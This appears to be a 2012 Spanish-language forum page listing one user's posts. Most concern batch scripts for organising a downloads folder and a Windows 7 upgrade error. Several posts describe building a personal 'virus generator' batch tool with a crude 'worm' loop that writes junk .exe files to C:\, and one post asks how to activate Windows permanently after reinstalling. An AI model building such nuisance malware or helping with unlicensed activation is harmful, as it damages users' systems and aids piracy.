Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - TMarmol

#71
Windows / Re: [Ayuda]Windows Anytime Upgrade
26 Mayo 2012, 02:46 AM
Cita de: Jhoel Daron en 23 Mayo 2012, 22:34 PM
Tu Windows es legítimo o Pirata?
Pues era Original cuando plantee la pregunta, pero ya me arte y formatee por completo el pc, lo tenia lleno de basura, 1TB de basura para ser exactos, ahora tengo el Ultimate, me pueden decir alguna forma de activarlo permanentemente?
Si no es molesita, claro
#72
Windows / [Ayuda]Windows Anytime Upgrade
23 Mayo 2012, 00:09 AM
Bueno tengo un W7 home premium y lo quiero actualizar a W7 Ultimate, he encontrado un serial de actualizacion que me funcioan a la perfeccion, peroo....
Cuando abro el Windows Anytime Upgrade le doy a instertar clave de actualizacion, sigo los pasos y todo perfecto, cuando le doy a actualizar empieza acrear un punto de restauracion del sistema y hay es donde esta el error, me pone que no se pudo crear ningun punto de restauracion, que lo active manualmente, sigo los pasos pero en donde se supone que tendria que hacerlo sale esto:

Cierro el mensaje de error pero no me encuentra ningun disco! no se que puedo hacer.
Tambien me pasa algo parecido en crear una copia de seguridad me pone todo el rato que no se creo satisfactoriamente
#73
Scripting / Re: [Ayuda]Creador de virus
14 Mayo 2012, 00:18 AM
Cita de: Batchiano en 14 Mayo 2012, 00:06 AM
No. Creo que no han implementado el uso de la etiqueta spoiler en este foro.
Pues que pena, por cierto como puedo ahcer un bucle de esos que se repiten hasta que llegan a un numero de veces, lo he probado con esto
Código (dos) [Seleccionar]
set inicio1=0
set fin1=1
echo MsgBox "MADAFACKA" >>alerta.vbs
call alerta.vbs
set /a inicio1==%inicio1%+%fin1%
if %inicio1%==10 (goto seguir1) else (goto bucle1)


pero se repite infinitamente, incluso cambiando el orden de
Código (dos) [Seleccionar]
if %inicio1%==10 (goto seguir1) else (goto bucle1)
#74
Scripting / Re: [Ayuda]Creador de virus
13 Mayo 2012, 23:56 PM
Cita de: Batchiano en 13 Mayo 2012, 23:49 PM
Puedes parsear el carácter de % con otro símbolo de %.

Código (dos) [Seleccionar]

(
@echo echo %%0
@echo %%random%%
) >> temp


Para "colorear", [ code = dos ] [ / code ] (sin espacios).

Eres Genial! las dos cosas funcionaron, muchisimas gracias.

Pero lo de el spoiler, no se puede no?
#75
Scripting / [Ayuda]Creador de virus
13 Mayo 2012, 23:19 PM
Bueno estoy creando un generador de virus, se que hay muchos pero quiero tener el mio personalizado.

En una de las funciones que tienes es añadir el codigo para crear un gusano (o algo parecido) el problema es que no consigo hacer que escriba las variables %inicio%, %fin% y %random%:
Código (dos) [Seleccionar]
:gusano
cls
echo ^:bucle >>%nombre%.bat
echo set /inicio=0 >>%nombre%.bat
echo set /fin=1 >>%nombre%.bat
echo echo HACK^>C:\%random%.exe >>%nombre%.bat

echo set /a inicio==%inicio%+%fin% >>%nombre%.bat
echo if %inicio%==100000 (goto bucle) else (goto seguir) >>%nombre%.bat
echo :seguir >>%nombre%.bat
pause

Todo funciona bien, pero las variables no las escribe en el programa %nombre%.bat.
se queda asi el codigo:
Código (dos) [Seleccionar]
:gusano
cls
echo ^:bucle >>%nombre%.bat
echo set /inicio=0 >>%nombre%.bat
echo set /fin=1 >>%nombre%.bat
echo echo HACK^>C:\%random%.exe >>%nombre%.bat

echo set /a inicio==+ >>%nombre%.bat
echo if %inicio%==100000 (goto bucle) else (goto seguir) >>%nombre%.bat
echo :seguir >>%nombre%.bat
pause


Como puedo solucionarlo?, ademas tampoco consigo escribir la variable %0 en otra parte del programa

Porcierto como puedo poner un spoiler de esos que estan ocultos y dando a mostrar sale todo lo que tenga escrito (Me refiero en el foro no en el programa, por si acaso...)

Otra cosa, por que a mi no se me ven los colores en lo de (code)(/code) ?
#76
Cita de: EleKtro H@cker en  1 Mayo 2012, 04:16 AM
Puedes moverlas de una en una:
Código (dos) [Seleccionar]
Move "C:\Users\TMarmol\downloads\NOMBRE DE LA CARPETA" "C:\Users\Public\Descargas Organizadas\"

O de forma automática:
Código (dos) [Seleccionar]
For /F "Tokens=*" %%@ in ('Dir /B /AD "C:\Users\TMarmol\downloads\"') DO (Move "C:\Users\TMarmol\downloads\%%@" "C:\Users\Public\Descargas Organizadas\"

Salu2

Lo de forma automatica lo puse pero no paso nada, y lo de poniendo su nombre no me interesa por que se trata de que cualquier carpeta que este en Downloads se copie por que si lo hago asi tendre que modificar el programa cada vez que lo valla   a utilizar, no hay ninguna forma de mover una carpeta no se, que se mueva todo menos lo que tenga algujn tipo de extension o algo por el estilo
#77
Cita de: EleKtro H@cker en  1 Mayo 2012, 00:35 AM
una pregunta antes de decirte nada...  ¿Porque en vez de copiarlos no los mueves? "Move /Y", ¿No quieres?.

PD: Para resaltar la sintaxis de Batch, Tienes que clickar en la lista desplegable arriba de la otra lista desplegable "cambiar color", y elegir "DOS". De todas formas en el code que pusiste no se va a resaltar nada en ningún color xD.

Salu2.
Ya he remplazado el comando xcopy por el de move, ahora tengo un problema, como hago para copair las carpetas es decir dentro de la carpeta downloads hay varias carpetas a demas de archivos, ocmo hago para que solo copie o mueva las carpetas sin tocar el resto de archivos?
#78
Bueno no se si el titulo es muy claro, lo que quiero hacer es que el programa compare dos carpetas y si pesan exactamente lo mismo que avance, pero si hay algun cambio que copie los archivos de la primera a la segunda.

Lo que quiero hacer es un programa que te organiza el ordenador, aqui una parte del codigo para que lo entendais
Código (DOS) [Seleccionar]
xcopy /y "C:\Users\TMarmol\downloads\*.exe" "C:\Users\Public\Descargas Organizadas\Aplicaciones"
xcopy /y "C:\Users\TMarmol\downloads\*.zip" "C:\Users\Public\Descargas Organizadas\Comprimidos"
xcopy /y "C:\Users\TMarmol\downloads\*.rar" "C:\Users\Public\Descargas Organizadas\Comprimidos"
xcopy /y "C:\Users\TMarmol\downloads\*.msi" "C:\Users\Public\Descargas Organizadas\Aplicaciones"
xcopy /y "C:\Users\TMarmol\downloads\*.txt" "C:\Users\Public\Descargas Organizadas\Documentos"
xcopy /y "C:\Users\TMarmol\downloads\*.pdf" "C:\Users\Public\Descargas Organizadas\Documentos"
xcopy /y "C:\Users\TMarmol\downloads\*.mp3" "C:\Users\Public\Descargas Organizadas\Multimedia"
xcopy /y "C:\Users\TMarmol\downloads\*.mp4" "C:\Users\Public\Descargas Organizadas\Multimedia"
xcopy /y "C:\Users\TMarmol\downloads\*.avi" "C:\Users\Public\Descargas Organizadas\Multimedia"
xcopy /y "C:\Users\TMarmol\downloads\*.mpg" "C:\Users\Public\Descargas Organizadas\Multimedia"


Me gustaria hacer que si todos los archivos de en este caso la carpeta downloads estan copiados a esas carpetas que no pase nada y que avance pero si hay algun archivo que no esta en cualquiera de las segundas carpetas lo copie.
Yo pense en el peso, si pesan lo mismo la carpeta Downloads que la carpeta Descargas Organizadas quiere decir que estan los mismos archivos pero si pesan distinto que copie los archivos de downloads a Descargas organizadas.

No se si me he explicado bien, cualquier sugerencia la probare para comprobar su funcionamiento

Gracias!

P.D: Alguien sabe por que ya no se ve con colorines los comandos en el spoiler code?
#79
Scripting / Re: [Ayuda]Programa
19 Abril 2012, 16:48 PM
Cita de: $Edu$ en 19 Abril 2012, 00:44 AM
>nul  --> sirve para que no devuelva nada el comando, imaginate que te diga "Directorio creado", no te gustaria. Aunque en este caso no devuelve nada, lo habra puesto por costumbre, pero el >nul se usa por ejemplo con "pause>nul" , fijate que si lo pones asi no te aparece el clasico mensaje de "Presione una tecla para continuar.."
Y para que sirve llamar al comando en vez de ejecutarlo directamente?
call xcopy
#80
Scripting / Re: [Ayuda]Programa
19 Abril 2012, 00:35 AM
Cita de: EleKtro H@cker en 19 Abril 2012, 00:19 AM
Aqui tienes una mini mini funcion:

Código (dos) [Seleccionar]
@Echo OFF

:: By Elektro H@cker

REM Modo de empleo:
REM
REM Call :XCOPY "[RUTA DE ORIGEN]" "[EXTENSION]" "[RUTA DE DESTINO] [OPCIONES de XCOPY]"
REM
REM Ejemplo:
REM
REM Call :XCOPY "C:\Windows\System32" "dll" "C:\"
REM Echo %Copied%

:XCOPY
IF NOT Exist "%~1" (Exit /B 1) ELSE (IF NOT Exist "%~3" (Exit /B 1))
For /F "tokens=*" %%#  in ('XCopy %4 "%~1\*.%~2" "%~3" ^| FIND /V "" ^| Find /V /C "copiado(s)"') Do (Set "Copied=%Copied%, %%#.%~2")
Goto :EOF


Un bat de ejemplo para resolverte las dudas:

Código (dos) [Seleccionar]
@Echo OFF

MKDIR C:\Test >NUL
Call :XCOPY "C:\Windows" "exe" "C:\test" /Y
Call :XCOPY "C:\Windows" "ini" "C:\test" /-Y
Call :XCOPY "C:\Windows" "dll" "C:\test"
Goto :FIN

:XCOPY
IF NOT Exist "%~1" (Exit /B 1) ELSE (IF NOT Exist "%~3" (Exit /B 1))
For /F "tokens=*" %%#  in ('XCopy %4 "%~1\*.%~2" "%~3" ^| FIND /V "" ^| Find /V /C "copiado(s)"') Do (Set "Copied=%Copied%, %%#.%~2")
Goto :EOF

:FIN
Echo %copied:~2% Fueron copiados.
pause
exit


output:



Si prefieres algo más sencillo, menos elaborado:

Código (dos) [Seleccionar]
@Echo OFF

Set EXT=ini
For /F "tokens=1,* Delims= " %%# in ('XCopy /Y "C:\Windows\*.%EXT%" "C:\Test" ^| Find "copiado(s)"') Do (Set "Copied=%COPIED%, %%# archivos .%ext%")

Set EXT=exe
For /F "tokens=1,* Delims= " %%# in ('XCopy /Y "C:\Windows\*.%EXT%" "C:\Test" ^| Find "copiado(s)"') Do (Set "Copied=%COPIED%, %%# archivos .%ext%")

:FIN
Echo %copied:~2% Fueron copiados.
pause
exit


output:

Salu2

Gracias! Lo probare mañana, para que sirve esta linea?mkdir C:\Test >nul[/
Concretamente lo de nul